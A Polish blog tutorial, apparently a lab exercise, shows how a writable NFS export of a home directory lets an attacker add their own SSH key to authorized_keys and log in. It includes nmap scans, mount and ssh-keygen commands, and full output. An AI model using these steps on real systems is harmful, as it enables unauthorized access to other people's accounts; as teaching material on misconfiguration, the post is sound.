Dzisiejszy wpis będzie dotyczył niebezpiecznych plików konfiguracyjnych z naciskiem na authorized_keys. Wielu osobom wydaje się, że prawa dostępu do plików użytkownika są mało istotne i nie zmniejszają znacząco bezpieczeństwa systemu. Z jednej strony tak jest, bo cóż cyberprzestępcy lub wścibskiemu sąsiadowi po naszych gołych zdjęciach przypadkowo udostępnionych w sieci za pomocą mechanizmu udostępniania plików i folderów sieciowych. Jest to oczywiście złudne myślenie…
Jeśli prawa dostępu do folderu pozwalają na zapis/odczyt/modyfikacje to cyberprzestępca zawsze może ofierze podrzucić spreparowany plik z trojanem o pięknej nazwie kuszącej ją do uruchomienia. Większym niebezpieczeństwem jest udostępnienie folderów w których znajdują się pliki konfiguracyjne aplikacji. Najgroźniejszym scenariuszem jest udostępnienie właśnie plików ustawień aplikacji sieciowych takich jak ftp albo ssh. Jako przykład możemy podać udostępnienie pliku konfiguracji serwera openssh authorized_keys z możliwością jego edycji. Dzięki niemu możemy dodać sobie możliwość logowania zdalnego do systemu bez podawania hasła.
Wystarczy do tego wygenerować sobie jedynie za pomocą aplikacji Linux ssh-keygen lub Windowsowej PuTTYgen klucz prywatny i publiczny, a następnie zmodyfikować plik authorized_keys na zdalnym systemie, dodając tam wygenerowany klucz publiczny. Dzięki tym czynnością cyberprzestępca posiadając klucz prywatny może się logować do zdalnego systemu bez podawania hasla. W wpisie pokażemy również jak zamontować zasób NFS. Więcej o generowaniu klucza znajdziecie w tym oto wpisie.
Wideo demonstrujące scenariusz z authorized_keys
Poniższe wideo jest uzupełnieniem tego wpisu na blogu. Pokazuje jak w praktyce błędnie skonfigurowane udostępnianie plików może otworzyć cyberprzestępcy furtkę do systemu operacyjnego. Polecamy i wideo i przeczytanie ;-).
Detekcja usługi NFS
W celu przeprowadzenia tego treningowego scenariusza ataku, wystarczy udostępnić folder z konfiguracją logowania do serwera ssh za pomocą kluczy. W systemie Linux będzie to ukryty folder o nazwie .ssh w katalogu domowym użytkownika. W sieci jest bardzo dużo informacji już o instalacji serwera OpenSSH… pomijamy!
Udostępnienie folderu może zostać wykonane za pomocą dowolnego mechanizmu systemowego. Może być to błędnie skonfigurowany serwer ftp, Network File System (NFS) lub dla przykładu Windowsowy serwer Samba. O samym ataku wspomina książka Bezpieczny system w praktyce Georgia Weidman na stronie 195.
W moim przypadku wykorzystamy błędnie skonfigurowany NFS wspomniany w powyższej publikacji. Jeśli ktoś udostępnia z prawami do odczytu i zapisu folder .ssh z plikiem authorized_keys, to sam za chwile zobaczysz że popełnia błąd. W pierwszym kroku skanujemy zdalny serwer za pomocą skanera nmap z parametrem detekcji usług.
nmap -sV 192.168.0.52
W odpowiedzi otrzymamy otwarte porty na zdalnym serwerze. Interesującą nas usługą jest Network File System na porcie 2049.
root@kali:~# nmap -sV 192.168.0.88 Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 20:02 CET Nmap scan report for 192.168.0.88 Host is up (0.00021s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 5.1p1 Debian 3ubuntu1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 2049/tcp open nfs 2-4 (RPC #100003) MAC Address: 00:0C:29:13:27:11 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds root@kali:~#
Jak widzimy na powyższym listingu zdalny host ma otwarty port protokołu NFS.
Nmap NFS-LS
Następnie przeskanujmy za pomocą skryptów programu nmap (Nmap Scripting Engine) wskazany host.
nmap --script=nfs-ls 192.168.0.52
Powyższe polecenia dało nam następująćy wynik:
root@kali:~# nmap --script=nfs-ls 192.168.0.88 Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 20:02 CET NSE: A thread for /usr/bin/../share/nmap/scripts/nfs-ls.nse failed to load in hostrule function: /usr/bin/../share/nmap/scripts/nfs-ls.nse:120: bad argument #1 to 'match' (string expected, got nil) stack traceback: [C]: in function 'match' /usr/bin/../share/nmap/scripts/nfs-ls.nse:120: in function '?' /usr/bin/../share/nmap/nse_main.lua:430: in function </usr/bin/../share/nmap/nse_main.lua:428> Nmap scan report for 192.168.0.88 Host is up (0.00023s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind | nfs-ls: | Arguments: | maxfiles: 10 (file listing output limited) | | NFS Export: /export/georgia | NFS Access: Read Lookup Modify Extend Delete NoExecute | PERMISSION UID GID SIZE MODIFICATION TIME FILENAME | drwxr-xr-x 1000 1000 4096 2015-11-09T18:38:53 /export/georgia | -rw------- 1000 1000 117 2015-11-09T18:27:35 .Xauthority | -rw------- 1000 1000 105 2015-11-09T18:42:11 .bash_history | drwxr-xr-x 1000 1000 4096 2012-10-27T03:11:43 .cache | -rw------- 1000 1000 16 2012-10-27T03:11:31 .esd_auth | drwx------ 1000 1000 4096 2012-10-27T03:11:31 .gnupg | ?????????? ? ? ? ? .gvfs | -rw------- 1000 1000 942 2015-11-09T18:38:53 .recently-used.xbel | drwx------ 1000 1000 4096 2015-11-09T18:42:26 .ssh | drwxr-xr-x 1000 1000 4096 2012-10-27T03:11:31 Public |_ -rwxr-xr-x 1000 1000 9134 2012-11-04T23:23:11 overflowtest2 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2049/tcp open nfs MAC Address: 00:0C:29:13:27:11 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds root@kali:~#
Jak widzimy serwer posiada udostępnione zasoby o nazwie /export/georgia. Na powyższym listingu widać również bardzo interesujący folder plików konfiguracyjnych serwera OpenSSH.
Nazwę zamontowanych zasobów możemy opcjonalnie sprawdzić w systemie Windows za pomocą programu NFSClient lub w Linuksie następującą komendą:
showmount -e 192.168.0.52
Dobrze. Teraz utwórzmy folder w którym zamontujemy znalezione przez nas zasoby. Zrobimy to poleceniem konsoli:
mkdir zamontowane
Mount nfs – montujemy zdalny zasób
Teraz w powyżej utworzonym folderze o nazwie zamontowane, zamontujmy znalezione zasoby:
mount -o nolock 192.168.0.52:/export/georgia zamontowane/
Gotowe. W folderze /home/root/zamontowane/ mamy dostęp do zdalnych plików. Teraz wystarczy, że wygenerujemy sobie klucz publiczny i zmodyfikujemy plik authorized_keys na serwerze. UWAGA! Pamiętaj, że w systemie Linux pliki i foldery rozpoczynające się od znaku kropki są plikami ukrytymi. W celu ich wyświetlenia w konsoli używaj polecenia ls -la lub w eksploatatorze plików wybierz z górnej belki opcje Widok -> Wyświetlanie ukrytych plików.
Generate ssh key i ssh authorized_keys
Samo generowanie klucza publicznego i prywatnego RSA jest bardzo proste. W konsoli wydajmy następujące polecenie:
ssh-keygen
Jako że nie chcemy potwierdzać logowania dodatkowym hasłem, wystarczy że powciskasz kilka enterów i gotowe.
Teraz wystarczy wygenerowany klucz publiczny z pliku którego ścieżka została wyświetlony w konsoli (/root/.ssh/id_rsa.pub), przekopiować na zdalny serwer do pliku authorized_keys. Jako, że wcześniej zamontowaliśmy już zdalny katalog z plikami to przechodzimy w naszym systemie Kali Linux do /root/zamontowane/.ssh/authorized_keys, otwieramy go i doklejamy na końcu nasz klucz publiczny. Zapisujemy i gotowe. Zwróćmy uwagę na login użytkowników w pliku, bo na to właśnie konto się zalogujemy za pomocą terminala ssh.
Logowanie się do SSH z pomocą authorized_keys
Wydaj następujące polecenie:
ssh georgia@192.168.0.88
Wpisz jeśli zostaniesz o to poproszony (are you sure you want to continue connecting) frazę yes i gotowe. Właśnie zalogowałeś się do zdalnego serwera za pomocą swojego klucza publicznego i nazwy użytkownika georgia.
Podsumowanie o authorized_keys
Jak widać klucz publiczny ssh jak i ten prywatny za pomocą narzędzia ssh-keygen jest bardzo łatwo wygenerować. W przypadku w którym system operacyjny Windows, Mac OS, Linux a nawet mobilny zrootowany Android udostępnia w dowolny sposób zbyt dużą ilość plików (szczególnie tych konfiguracyjnych) to może się zdarzyć, że jest narażony na ataki z zewnątrz. Przedstawiony sposób nie dotyczy tylko protokołu NFS i autoryzacji za pomocą klucza. Udostępniane pliki są równie często przypadkowo przy pomocy protokołu FTP i Windowsowej Samby. Radze Ci już teraz audytuj co udostępniasz innym w sieci Internet. Jeśli podoba Ci się ten wpis to być może zainteresuje Cię jeszcze inny: o atakach na konta facebook, odzyskiwanie hasła routera lub atak na hasło skrzynki pocztowej. Mamy też Twittera i fejsbuka ;-). Trzymajcie się bezpiecznie!
Można zrobić coś podobnego ale z innymi protokołami?